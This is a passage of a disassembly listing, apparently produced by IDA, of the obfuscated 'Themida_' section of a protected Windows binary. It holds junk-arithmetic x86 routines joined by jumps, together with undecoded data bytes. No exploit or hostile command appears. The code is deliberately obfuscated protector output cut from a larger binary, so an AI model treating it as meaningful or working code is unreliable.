		dd 2C890000h, 11A8BD24h, 0BF5737E2h, 716D32CCh,	1BE9FD09h
		db 57h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_520173:				; CODE XREF: Themida_:0050F450j
		jmp	loc_50B5E5
; ---------------------------------------------------------------------------
		dd 642368h, 181FE900h, 0E689FFFFh, 12FC68h, 9221E900h
		dd 0FE59FFFFh, 4EC81C6h, 89000000h, 0A0E9240Ch,	81FFFEF3h
		dd 5738DCDh, 6EDC17Bh, 8AB3E950h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5201AE:				; CODE XREF: Themida_:005148DCj
		mov	ecx, 4FF724A4h
		sub	edi, ecx
		pop	ecx
		add	edi, ebp
		add	edi, 4FF724A4h
		jmp	loc_51D889
; ---------------------------------------------------------------------------


loc_5201C3:				; CODE XREF: Themida_:0050EF68j
		mov	esp, [esp]
		mov	[esp], edi
		mov	edi, 4
		add	ebx, edi
		mov	edi, [esp]
		push	ecx
		mov	ecx, esp
		push	edi
		mov	edi, 66D35B49h
		neg	edi
		and	edi, 6B850EBEh
		and	edi, 58D47FCDh
		add	edi, 0F7FBFB80h
		sub	ecx, 5EF71439h
		add	ecx, edi
		add	ecx, 5EF71439h
		pop	edi
		add	ecx, 4
		jmp	loc_50F68F
; ---------------------------------------------------------------------------
		dw 0C483h
		dd 24448104h, 0B26FA704h, 244C0143h, 0ECDAE904h
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_52021E:				; CODE XREF: Themida_:00516FBFj
		sub	dl, 8Bh
		jmp	loc_5182D9
; ---------------------------------------------------------------------------


loc_520226:				; CODE XREF: Themida_:0051FEBAj
		push	ebp
		not	dword ptr [esp]
		pop	ebp
		push	esi
		jmp	loc_51EB9B
; ---------------------------------------------------------------------------
		db 29h,	0DAh, 0E9h
		dd 0FFFF539Ah, 5BDD3158h, 0FF441FE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_520241:				; CODE XREF: Themida_:0051A788j
		add	ebx, eax
		push	3CB7h
		mov	[esp], esi
		push	ebp
		jmp	loc_5120FC
; ---------------------------------------------------------------------------
		db 31h,	2Ch, 24h
		dd 5C242C33h, 9C242CD3h, 0FEB384E9h, 81C229FFh,	2D0618C2h
		dd 1487585Eh, 24248B24h, 240C8966h, 0FEB36CE9h,	242C87FFh
		dd 8924248Bh, 89512404h, 4C181E1h, 83000000h, 0C8704E9h
		dd 24895C24h, 178D6824h, 0CAE90000h, 55000003h,	4BDh, 5DEF0100h
		dd 2B951h, 0EF810000h, 494137C0h, 9168CF01h, 0E9000056h
		dd 0FFFF5618h
; ---------------------------------------------------------------------------


loc_5202C0:				; CODE XREF: Themida_:00513D69j
		pop	ebp
		dec	esi
		xor	esi, 7A173BA5h
		add	esi, 783490EDh
		sub	edx, esi
		pop	esi
		push	68h
		mov	[esp], ebp
		push	eax
		mov	eax, 111E65A2h
		push	eax
		xor	dword ptr [esp], 41AA3BDFh
		pop	ebp
		jmp	loc_50F3D5
; ---------------------------------------------------------------------------


loc_5202ED:				; CODE XREF: Themida_:0051D3C2j
		pop	esp
		mov	[esp], edx
		push	esp
		mov	edx, [esp]
		push	ebp
		push	esp
		pop	ebp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		sub	esp, 4
		jmp	loc_514327
; ---------------------------------------------------------------------------
		db 87h,	1Ch, 24h
		dd 401665Ch, 0CAE99C24h, 89FFFEB2h, 74FF242Ch, 8F5D0424h
		dd 248B2404h, 68F9F724h, 3FC2h,	0FF0E6CE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_520335:				; CODE XREF: Themida_:0051AF53j
		sub	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], esp
		add	dword ptr [esp], 4
		jmp	loc_51BD1E
; ---------------------------------------------------------------------------
		db 29h
		dd 0F5815FFDh, 67EE11DFh, 0FF1C2FE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_520359:				; CODE XREF: Themida_:0051FA16j
		pop	esp
		push	4169h
		mov	[esp], esi
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 21816DF3h
		push	ecx
		jmp	loc_513A08
; ---------------------------------------------------------------------------
		db 0C0h
		dd 0B50407E8h, 0E958C688h, 0FFFF4084h
; ---------------------------------------------------------------------------


loc_520380:				; CODE XREF: Themida_:00512F70j
		xor	edx, edi
		push	dword ptr [esp]
		jmp	loc_51F512
; ---------------------------------------------------------------------------
		dw 0EE80h
		dd 8BF300B2h, 0C4832414h, 80CBFE04h, 0C38020CBh, 0D1C3800Dh
		dd 0DDE9DE30h
		db 0F6h, 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_5203A7:				; CODE XREF: Themida_:0051254Fj
		push	ecx
		push	29B6CA1h
		pop	ecx
		xor	ecx, 797357C5h
		add	ecx, 2AE543Eh
		jmp	loc_518A55
; ---------------------------------------------------------------------------


loc_5203BF:				; CODE XREF: Themida_:005147CFj
		pop	dword ptr [edi+20h]
		jmp	loc_50C323
; ---------------------------------------------------------------------------
		db 0Dh
		dd 363506D3h, 776CBD55h, 0DDF758E8h, 57AAED81h,	0E8319821h
		dd 12E9405Dh, 5FFFFF54h, 0D2DD0F7h, 0E959831Dh,	0FFFFBBB4h
; ---------------------------------------------------------------------------


loc_5203F0:				; CODE XREF: Themida_:0051BD13j
		add	ebp, ebx
		pop	ebx
		push	edi
		jmp	loc_513026
; ---------------------------------------------------------------------------


loc_5203F9:				; CODE XREF: Themida_:0051E87Bj
		mov	ch, 0B5h
		sub	ch, 3
		jmp	loc_5166A6
; ---------------------------------------------------------------------------
		db 5Fh
		dd 607AEF81h, 35E97A8Dh, 0FFFFFF74h, 669D1C77h,	4116658h
		dd 0C6E99C24h, 5AFFFEB1h, 895DE831h, 0C52958C5h, 8324048Bh
		dd 0C58104C4h, 3DE2DA6h, 0BE03E94Dh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_52043A:				; CODE XREF: Themida_:00515C85j
		neg	ebx
		jmp	loc_50EDF8
; ---------------------------------------------------------------------------


loc_520441:				; CODE XREF: Themida_:0050DD42j
		pop	esp
		jmp	loc_50E1CE
; ---------------------------------------------------------------------------
		db 58h
		dd 0FFDB6AE9h, 240C89FFh, 0FF912CE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_520455:				; CODE XREF: Themida_:0051F247j
		mov	esp, [esp]
		mov	[esp], edi
		push	14C5h
		mov	[esp], ebx
		jmp	loc_5131ED
; ---------------------------------------------------------------------------
		dd 387468h, 243C8900h, 190D7CBFh, 0C92EE931h, 0C481FFFEh
		dd 4, 893AB850h, 0C629B4EFh, 8124048Bh,	4C4h, 4ABD5500h
		dd 4D4D2164h, 3554ED81h, 0B0E904AEh
		db 9, 2	dup(0)
; ---------------------------------------------------------------------------


loc_5204A3:				; CODE XREF: Themida_:0050F99Ej
		add	esp, 4
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_517066
; ---------------------------------------------------------------------------
		dd 3159CB31h, 0B1C9E9D9h, 2C8BFFFEh, 4C48124h, 66000000h
		dd 66052F2Dh, 8151C801h, 2ECh, 1213E900h, 0B753FFFFh, 2E7C0B4h
		dd 5166C7FEh, 68E99CB5h, 81FFFF95h, 6A8A00C5h, 4EC8146h
		dd 89000000h, 5D58242Ch, 0FF94EDE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_520501:				; CODE XREF: Themida_:0051FB0Aj
		mov	esp, [esp]
		jmp	loc_51932B
; ---------------------------------------------------------------------------
		db 1, 0DAh, 0E9h
		dd 0FFFEC13Ch
; ---------------------------------------------------------------------------


loc_520510:				; CODE XREF: Themida_:0051F190j
		mov	edi, [esp]
		add	esp, 4
		push	ecx
		mov	ecx, 68D642A1h
		not	ecx
		jmp	loc_51CA14
; ---------------------------------------------------------------------------


loc_520526:				; CODE XREF: Themida_:0050D052j
		add	edx, edi
		pop	edi
		mov	ecx, edx
		pop	edx
		and	esi, ecx
		jmp	loc_51E1A0
; ---------------------------------------------------------------------------
		db 81h
		dd 4C4h, 0FEF6800h, 34890000h, 0CDBF5724h, 0BE56E137h
		dd 0E37187Ch, 575FFE01h, 0FF59EDE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_520555:				; CODE XREF: Themida_:0050C221j
		shr	edi, 3
		jmp	loc_5135F1
; ---------------------------------------------------------------------------
		db 87h,	2Ch, 24h
		dd 24348B5Ch, 0E904C483h, 0FFFF8C0Fh, 447BDEBAh, 0F5EA8109h
		dd 0D140D17Dh, 0C9EA81E2h, 8122B964h, 0BEF482F2h, 83EFE922h
		dd 8B66FFFFh, 5455240Ch, 4C5815Dh, 0E9000000h, 0FFFF061Dh
		dd 4BB53h, 0DF010000h, 4C7815Bh, 87000000h, 305C243Ch
		dd 51665AF0h, 4B6668h, 241C8900h, 0FF8D53E9h, 4DFD31FFh
		dd 1210E956h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5205CA:				; CODE XREF: Themida_:0051E91Aj
		mov	eax, 1AB83ADDh
		jmp	loc_513C4E
; ---------------------------------------------------------------------------


loc_5205D4:				; CODE XREF: Themida_:0051DF50j
		sub	ebp, 4
		jmp	loc_511A74
; ---------------------------------------------------------------------------
		dd 55C7815Bh, 140B360h,	6EB850C7h, 0F708511Eh, 9186E9D8h
		dd 0C481FFFFh, 4, 0FEB6BFE9h, 240C33FFh, 0E9240C31h, 0B3Eh
		dd 20EF681h, 0C681188Ah, 0E60DBC66h, 575EF001h,	784500BFh
		dd 6EFC150h, 3CB0CF81h,	0E8E9627Fh, 51FFFF50h, 4B9h, 17C38100h
		dd 146C86Ch, 17EB81CBh,	0E946C86Ch, 0FFFF5A7Dh,	0A7D4E94Eh
		dd 0E589FFFFh, 4C581h, 0ED810000h, 4, 5C242C87h, 68240489h
		dd 475h, 0FEDBF4E9h, 242C89FFh,	0FF3910E9h, 4EC83FFh, 66242C89h
		dd 0E943CEBDh, 0FFFFBAF0h
; ---------------------------------------------------------------------------


loc_520680:				; CODE XREF: Themida_:0050D7E0j
		push	esi
		mov	esi, 65610590h
		mov	edi, 2998676Ah
		xor	edi, esi
		pop	esi
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 386204F0h
		sub	[esp+8], eax
		pop	eax
		sub	[esp+4], edi
		add	dword ptr [esp+4], 386204F0h
		pop	edi
		mov	ecx, [esp]
		add	esp, 4
		push	ebx
		mov	ebx, 4224144Ch
		xchg	ecx, ebx
		jmp	loc_52010A
; ---------------------------------------------------------------------------
		dw 0C681h
		dd 32C12E0Ch, 6E6C14Eh,	0FFD7F2E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5206CD:				; CODE XREF: Themida_:0050CE6Bj
		mov	ebp, esp
		sub	esp, 4
		jmp	loc_51F92A
; ---------------------------------------------------------------------------


loc_5206D7:				; CODE XREF: Themida_:00512888j
		sub	dword ptr [esp+4], 76E229A8h
		push	edx
		jmp	loc_51EFA8
; ---------------------------------------------------------------------------
		db 81h,	0C7h, 4
		dd 87000000h, 248B243Ch, 53D3E924h, 0E94DFFFFh,	0FFFF93D4h
		dd 8B240C33h, 2C892424h, 0C4B7E924h, 0E381FFFFh, 0E5F673Dh
		dd 36EB814Bh, 19EBF63h,	0C6095BD8h, 0FF6C63E9h,	24248BFFh
		dd 582434FFh, 8904EC83h, 5E542434h, 0FED77BE9h,	0C78159FFh
		dd 24FF7521h, 0EF81F729h, 24FF7521h, 8324348Bh,	3C8704C4h
		dd 0E504E924h, 0E089FFFEh, 405h, 0BA525300h, 398733F4h
		dd 8733F6BBh, 0E9D32939h, 0FFFF8C33h
; ---------------------------------------------------------------------------


loc_52076C:				; CODE XREF: Themida_:00513122j
		not	dword ptr [esp]
		pop	esi
		sub	esi, 0E2662C58h
		add	ebx, esi
		mov	esi, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		push	edx
		mov	edx, 0A096AD9h
		neg	edx
		or	edx, 562357E3h
		jmp	loc_50CBFF
; ---------------------------------------------------------------------------
		dd offset dword_450050+1BD05h
		db 5Fh
		dd 5DEA2904h, 81241C8Bh, 4C4h, 6DBA6800h, 0DE90000h
		db 0B3h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5207B3:				; CODE XREF: Themida_:0051D820j
		add	esp, 4
		add	edx, edi
		push	dword ptr [edx]
		push	dword ptr [esp]
		jmp	loc_50F1EF
; ---------------------------------------------------------------------------
		dw 1BBFh
		dd 816F413Bh, 4F08A5C7h, 98B9512Eh, 317C3C03h, 0F74759CFh
		dd 0D5E781D7h, 0E932C013h, 0FFFFD506h
; ---------------------------------------------------------------------------


loc_5207E4:				; CODE XREF: Themida_:0051239Dj
		mov	eax, 1F580F6Ah
		sub	esi, eax
		pop	eax
		add	esi, ecx
		jmp	loc_512CD1
; ---------------------------------------------------------------------------
		db 1
		dd 0BF575AD0h, 41F338A8h, 77C7C781h, 0CF812228h, 3042646Dh
		dd 0FEF03DE9h, 0D1F749FFh, 3ECF68h, 242C8900h, 8A4B0BBDh
		dd 0E9E93171h, 0FFFFECE8h, 335EBE56h, 0BF570B57h, 0
		dd 0FF01C4E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_520835:				; CODE XREF: Themida_:00515EE9j
		dec	ecx
		add	ecx, 606289Fh
		jmp	loc_51953A
; ---------------------------------------------------------------------------
		db 81h,	0C6h, 5Eh
		dd 0E9767824h, 0FFFEFAA7h, 0E904EC83h, 0FFFFE479h
; ---------------------------------------------------------------------------


loc_520854:				; CODE XREF: Themida_:0050F305j
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		jmp	loc_511127
; ---------------------------------------------------------------------------


loc_520869:				; CODE XREF: Themida_:005184E5j
		sub	ecx, esi
		pop	esi
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], ebx
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 16F81CDDh
		dec	eax
		not	eax
		neg	eax
		dec	eax
		push	ecx
		mov	ecx, 33FB07F7h
		xor	eax, ecx
		pop	ecx
		mov	ebx, eax
		jmp	loc_518AEE
; ---------------------------------------------------------------------------
		db 83h
		dd 1C8704C3h, 24248B24h, 4C181h, 0FF680000h, 89000015h
		dd 2B82404h, 29000000h,	0E537E9C1h, 0C483FFFFh,	0CA57E904h
		dd 0EEC1FFFFh, 0D871E903h, 0CC68FFFFh, 5E08EC00h, 636DBF57h
		dd 0FE311D41h, 0FF82C7E9h, 4C281FFh, 0E9000000h, 0FFFF8363h
; ---------------------------------------------------------------------------


loc_5208E8:				; CODE XREF: Themida_:005149A2j
		sub	esi, 376B22F4h
		pop	edi
		xor	esi, 1F4876B0h
		jmp	loc_514A2A
; ---------------------------------------------------------------------------


loc_5208FA:				; CODE XREF: Themida_:00518C2Aj
		xor	esi, 62BC55DCh
		add	esi, 677860AFh
		push	edi
		jmp	loc_51E927
; ---------------------------------------------------------------------------
		dd 8B2434FFh, 0A3E9243Ch
		db 89h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_520917:				; CODE XREF: Themida_:0050C0A2j
		push	1D53h
		mov	[esp], esp
		add	dword ptr [esp], 4
		mov	edi, [esp]
		jmp	loc_50CF41
; ---------------------------------------------------------------------------


loc_52092E:				; CODE XREF: Themida_:0051A48Bj
		neg	esi
		shl	esi, 8
		sub	esi, 7C33E1FCh
		xor	ecx, esi
		pop	esi
		add	ecx, ebp
		jmp	loc_51C066
; ---------------------------------------------------------------------------
		db 81h
		dd 4C4h, 4C38300h, 31241C33h, 1C33241Ch, 77A2E924h, 3C89FFFFh
		dd 2474FF24h, 2434FF04h, 81243C8Bh, 4C4h, 4C48100h, 8F000000h
		dd 248B2404h, 14896624h, 9C506624h, 0FEAC60E9h,	0CAEF81FFh
		dd 8B33C368h, 0C483241Ch, 243C8704h, 8324248Bh,	148904ECh
		dd 757E6824h, 24890000h, 532D6824h, 50E90000h
		db 0EDh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5209AF:				; CODE XREF: Themida_:00520C04j
		mov	esp, [esp]
		shl	eax, cl
		sub	esp, 4
		jmp	loc_510FC5
; ---------------------------------------------------------------------------
		db 5Dh
		dd 0E9243487h, 0FFFF2471h, 4C481h, 0FDE90000h, 66FFFED0h
		dd 66319168h, 66240C89h, 22474FFh, 240C8B66h, 9BE1E957h
		dd 4BBFFFFh, 29131049h,	89535BDFh, 4C381E3h, 0E9000000h
		dd 0FFFF5F94h
; ---------------------------------------------------------------------------


loc_520A00:				; CODE XREF: Themida_:0051E3D0j
		pop	ecx
		add	bl, dl
		mov	edx, [esp]
		add	esp, 4
		push	dx
		jmp	loc_51D4DC
; ---------------------------------------------------------------------------


loc_520A13:				; CODE XREF: Themida_:00520D38j
		mov	edi, ecx
		jmp	loc_51A09B
; ---------------------------------------------------------------------------


loc_520A1A:				; CODE XREF: Themida_:00520DACj
		sub	edx, ebx
		pop	ebx
		and	eax, edx
		pop	edx
		jmp	loc_51762C
; ---------------------------------------------------------------------------
		db 53h,	0E9h, 7Ah
		dd 0FFFFFFDEh, 835E2434h, 0C68104C4h, 3183544Ah, 0FEBE07E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_520A3D:				; CODE XREF: Themida_:005136BEj
		shr	eax, 0Eh
		jmp	loc_513EB7
; ---------------------------------------------------------------------------
		db 0F7h, 0DDh, 0E9h
		dd 0FFFFFA9Fh
; ---------------------------------------------------------------------------


loc_520A4C:				; CODE XREF: Themida_:00511EACj
		add	ecx, 70F07387h
		xor	ecx, 633A3A5Bh
		sub	ecx, 52FB3623h
		inc	ecx
		add	ecx, 6F6C684Eh
		sub	ecx, 68E76963h
		sub	edi, ecx
		pop	ecx
		sub	edi, ecx
		add	edi, 3F3D0F15h
		pop	ecx
		sub	ecx, 16F75614h
		sub	ecx, 3D7D685Bh
		sub	ecx, 3F2412DAh
		add	ecx, edi
		add	ecx, 3F2412DAh
		jmp	loc_511E79
; ---------------------------------------------------------------------------


loc_520A96:				; CODE XREF: Themida_:0051D0CDj
		sub	edx, 1C7D0439h
		jmp	loc_5198CB
; ---------------------------------------------------------------------------


loc_520AA1:				; CODE XREF: Themida_:00515F85j
		push	ebx
		mov	ebx, 40E76D29h
		mov	edi, 0FC25001Fh
		sub	edi, 23B0009Ch
		add	edi, ebx
		add	edi, 23B0009Ch
		pop	ebx
		xor	edi, ebx
		pop	ebx
		shr	edi, 1
		push	ecx
		mov	ecx, 0C822763h
		jmp	loc_518634
; ---------------------------------------------------------------------------
		db 89h
		db 34h,	24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_51CA00
; ---------------------------------------------------------------------------


loc_520AE5:				; CODE XREF: Themida_:00510B16j
		add	esp, 4
		xchg	eax, [esp]
		pop	esp
		div	cx
		push	78BBh
		jmp	loc_515BA6
; ---------------------------------------------------------------------------
		dd 0E9240C8Bh, 0FFFFD993h
; ---------------------------------------------------------------------------


loc_520B04:				; CODE XREF: Themida_:00518EC7j
		add	ebp, 4
		push	ebx
		mov	ebx, 4
		add	ebp, ebx
		pop	ebx
		xchg	ebp, [esp]
		pop	esp
		sub	edx, 1
		sub	edx, 0FFFFFFFFh
		xor	edx, 5205C31Ch
		add	eax, 0A0E2806h
		jmp	loc_50E7A2
; ---------------------------------------------------------------------------


loc_520B33:				; CODE XREF: Themida_:005131B7j
		sub	ebp, 2E2A7AE0h
		jmp	loc_512B1C
; ---------------------------------------------------------------------------
		dw 14F6h
		dd 7C5E924h, 0F75EFFFFh, 35C781D7h, 818CF68Eh, 0A81D84C5h
		dd 68FD0166h, 2C41h, 0E9243C89h, 0FFFFAC58h
; ---------------------------------------------------------------------------


loc_520B64:				; CODE XREF: Themida_:0051BD25j
		push	ecx
		mov	ecx, 4
		add	eax, ecx
		pop	ecx
		push	edi
		push	ebp
		mov	ebp, 4
		mov	edi, ebp
		pop	ebp
		add	eax, edi
		pop	edi
		xchg	eax, [esp]
		pop	esp
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		jmp	loc_51EEA7
; ---------------------------------------------------------------------------
		dw 0F589h
		dd 8324348Bh, 0EA0104C4h, 0DEB685Dh, 14890000h,	2474FF24h
		dd 2434FF04h, 5324148Bh, 0C3815B54h, 4,	4BD55h,	0EB010000h
		dd 241C875Dh, 4C4835Ch,	0E924048Fh, 0FFFFEA6Fh,	0CE97E95Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_520BD6:				; CODE XREF: Themida_:0051796Cj
		sub	esi, 6E7C5ECAh
		add	esi, 0B32F1B58h
		add	ebx, esi
		pop	esi
		mov	ecx, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		add	ebx, 4
		xchg	ebx, [esp]
		jmp	loc_5209AF
; ---------------------------------------------------------------------------
		db 1, 0D3h, 0E9h
		dd 0FFFF9482h
; ---------------------------------------------------------------------------


loc_520C10:				; CODE XREF: Themida_:00512325j
		pop	eax
		jmp	loc_51C4BB
; ---------------------------------------------------------------------------


loc_520C16:				; CODE XREF: Themida_:0051E841j
		pop	eax
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_519564
; ---------------------------------------------------------------------------
		dd 4C681h, 84E90000h, 51FFFF85h, 2B5E63B9h, 4B68550Eh
		dd 5D0FA812h, 7152E581h, 0FD87785Eh, 0FEF426E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_520C45:				; CODE XREF: Themida_:00520DFBj
		mov	ebp, 1BE94714h
		xor	ebp, 0A324CFDEh
		mov	esi, ebp
		pop	ebp
		add	esi, eax
		mov	eax, [esp]
		add	esp, 4
		push	ecx
		push	ebp
		mov	ebp, 46926861h
		jmp	loc_517477
; ---------------------------------------------------------------------------
		dw 0E958h
		dd 0FFFEB29Bh, 5DEB80h,	0F0285BD8h, 8B66492Ch, 68572414h
		dd 7DB4h, 81242489h, 42404h, 2BE90000h,	89FFFEEDh, 80BB241Ch
		dd 550CA051h, 0B10F95BDh, 0AB4DE90Bh, 0D001FFFFh, 0E40BB53h
		dd 0DBF71633h, 0FF207BE9h, 6A8DBAFFh, 0E2C145C8h, 0EA814A06h
		dd 202E7086h, 0F8B0C281h, 0D689C975h, 0FF8ABDE9h, 0E9D929FFh
		dd 0FFFF96D1h, 15B7EE81h, 0E6817790h, 6D7A4BD2h, 0FFF91FE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_520CE9:				; CODE XREF: Themida_:0051303Ej
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		push	6990h
		jmp	loc_51722B
; ---------------------------------------------------------------------------


loc_520CFC:				; CODE XREF: Themida_:0051880Cj
		shl	esi, 6
		push	0DDEh
		mov	[esp], edi
		mov	edi, 43020338h
		xor	edi, 541E5C58h
		xor	edi, 0D2CAB2B7h
		sub	esi, edi
		jmp	loc_5100D2
; ---------------------------------------------------------------------------
		db 0FFh
		dd 0E9592434h, 0FFFEBF6Dh
; ---------------------------------------------------------------------------


loc_520D28:				; CODE XREF: Themida_:005174E0j
		mov	eax, 10h
		push	4AC7h
		mov	[esp], ecx
		mov	ecx, eax
		push	edi
		jmp	loc_520A13
; ---------------------------------------------------------------------------
		db 8Bh,	4, 24h
		dd 4C481h, 0E9530000h, 0FFFFD44Ah
; ---------------------------------------------------------------------------


loc_520D4C:				; CODE XREF: Themida_:005134D1j
		xor	edx, 6FD863C0h
		jmp	loc_516FE4
; ---------------------------------------------------------------------------


loc_520D57:				; CODE XREF: Themida_:0050E2E6j
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, esp
		push	6060h
		mov	[esp], edx
		mov	edx, 4
		sub	ebx, 2A50232Bh
		jmp	loc_51F979
; ---------------------------------------------------------------------------


loc_520D7A:				; CODE XREF: Themida_:00513B81j
		add	ebp, 0ED614E2Eh
		mov	ecx, ebp
		pop	ebp
		jmp	loc_5164C1
; ---------------------------------------------------------------------------


loc_520D88:				; CODE XREF: Themida_:0051407Aj
		mov	[esp], edx
		pop	dword ptr [edi+20h]
		jmp	loc_516AC5
; ---------------------------------------------------------------------------


loc_520D93:				; CODE XREF: Themida_:0051EEEDj
		mov	edx, 0E7E8F158h
		sub	ebx, 2CE42C4Ch
		sub	ebx, edx
		add	ebx, 2CE42C4Ch
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_520A1A
; ---------------------------------------------------------------------------
		db 0BAh, 1Ch, 11h
		dd 0E9525EB4h, 0FFFF920Dh
; ---------------------------------------------------------------------------


loc_520DBC:				; CODE XREF: Themida_:005150EBj
		mov	[esp], ecx
		jmp	loc_50B5E5
; ---------------------------------------------------------------------------
		dd 1AC6BF57h, 0C7812171h, 6B8928A3h, 24FF781h, 0FB31E9A5h
		dd 0B6B6E95Fh
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_520DDE:				; CODE XREF: Themida_:0050CC07j
		add	ebp, edx
		jmp	loc_513CF4
; ---------------------------------------------------------------------------


loc_520DE5:				; CODE XREF: Themida_:0050D621j
		pop	edi
		push	ebp
		mov	ebp, 4
		sub	esi, 361A597Eh
		add	esi, ebp
		jmp	loc_51A85F
; ---------------------------------------------------------------------------


loc_520DF9:				; CODE XREF: Themida_:00518B85j
		pop	ecx
		push	ebp
		jmp	loc_520C45
; ---------------------------------------------------------------------------
		dd 24048B66h, 5BC168h, 24348900h, 0BF57E689h, 1E1C2462h
		dd 68h,	243C2900h, 0E92434FFh, 0FFFF8FF5h
; ---------------------------------------------------------------------------


loc_520E24:				; CODE XREF: Themida_:0051747Cj
		add	ecx, ebp
		jmp	loc_51B24C
; ---------------------------------------------------------------------------


loc_520E2B:				; CODE XREF: Themida_:00512AD3j
		mov	esp, [esp]
		push	ebp
		jmp	loc_5159B8
; ---------------------------------------------------------------------------


loc_520E34:				; CODE XREF: Themida_:00516CD9j
		add	edi, 23F15401h
		pop	edx
		and	ecx, edi
		push	dword ptr [esp]
		pop	edi
		push	784Ah
		mov	[esp], esi
		mov	esi, esp
		sub	esp, 4
		jmp	loc_514776
; ---------------------------------------------------------------------------
		db 0C1h
		dd 0CD8106E5h, 5DF030AAh, 6D63E581h, 0F58115C9h, 4B656609h
		dd 815DEF29h, 5425CDC7h, 81F7296Dh, 5425CDEFh, 6BC7816Dh
		dd 5E5EAC4Bh, 0FD32F205h, 2A71E93Dh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_520E8A:				; CODE XREF: Themida_:0051EF7Bj
		pop	ebx
		jmp	loc_51D40C
; ---------------------------------------------------------------------------


loc_520E90:				; CODE XREF: Themida_:00517D1Ej
		shl	edi, 7
		xchg	ebp, edi
		neg	ebp
		xchg	ebp, edi
		xor	edi, 234887E8h
		jmp	loc_519DD0
; ---------------------------------------------------------------------------
		dd 0EB81C329h, 58236ADBh, 5BDF2158h, 6C98C781h,	0F78142ADh
		dd 30079CC3h, 0FEEB5AE9h, 5E089FFh, 4, 0FF4AAEE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_520ECD:				; CODE XREF: Themida_:0051F3C0j
		pop	ecx
		push	3217h
		mov	[esp], ebx
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 751D534Dh
		push	ecx
		push	ebp
		mov	ebp, 5F0965B9h
		inc	ebp
		not	ebp
		or	ebp, 25A3607Fh
		not	ebp
		add	ebp, 30DAA76Bh
		mov	ecx, ebp
		pop	ebp
		add	edi, ecx
		pop	ecx
		mov	ebx, edi
		jmp	loc_50F20E
; ---------------------------------------------------------------------------
		dw 0C381h
		dd 4, 0FFA4B9E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_520F11:				; CODE XREF: Themida_:0051FBA5j
		and	ebp, 489445B5h
		jmp	loc_51C909
; ---------------------------------------------------------------------------
		dd 3539E2BEh, 0B47AE94Ch, 15FFFFEh, 8104245Ch, 27042444h
		dd 5B480C34h, 0FF24A3E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_520F39:				; CODE XREF: Themida_:00517617j
		push	ebx
		mov	ebx, 33CA04F1h
		neg	ebx
		xor	ebx, 4CDF0CF7h
		add	edi, ebx
		mov	ebx, [esp]
		add	esp, 4
		add	edx, edi
		pop	edi
		jmp	loc_50B66A
; ---------------------------------------------------------------------------
		dw 0E95Fh
		dd 0FFFF225Ch, 4FB9C281h, 0D00121ABh, 0E9C2895Ah, 0FFFF7A10h
; ---------------------------------------------------------------------------


loc_520F70:				; CODE XREF: Themida_:00518D1Dj
		xor	[esp], ecx
		xor	ecx, [esp]
		mov	esp, [esp]
		jmp	loc_511143
; ---------------------------------------------------------------------------


loc_520F7E:				; CODE XREF: Themida_:005193DEj
		push	0C0Ah
		mov	[esp], esi
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		jmp	loc_51DBC4
; ---------------------------------------------------------------------------
		dw 0C483h
		dd 0E9C83004h, 0FFFEC7E0h, 83D479BEh, 0A684E9DDh, 1487FFFFh
		dd 0C5E6E924h, 5666FFFFh, 0FF2BC9E9h
		db 0FFh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		jmp	loc_50FB1A
; ---------------------------------------------------------------------------
		db 5Dh,	81h, 0C5h
		dd 72CD6446h, 0FF1CADE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_520FD9:				; CODE XREF: Themida_:005137F2j
		mov	ecx, [esp]
		add	esp, 4
		xor	edi, 7F066ECDh
		sub	edi, 756A4306h
		not	edi
		jmp	loc_513B5A
; ---------------------------------------------------------------------------


loc_520FF5:				; CODE XREF: Themida_:005139B0j
		pop	ecx
		sub	esp, 4
		mov	[esp], esi
		push	eax
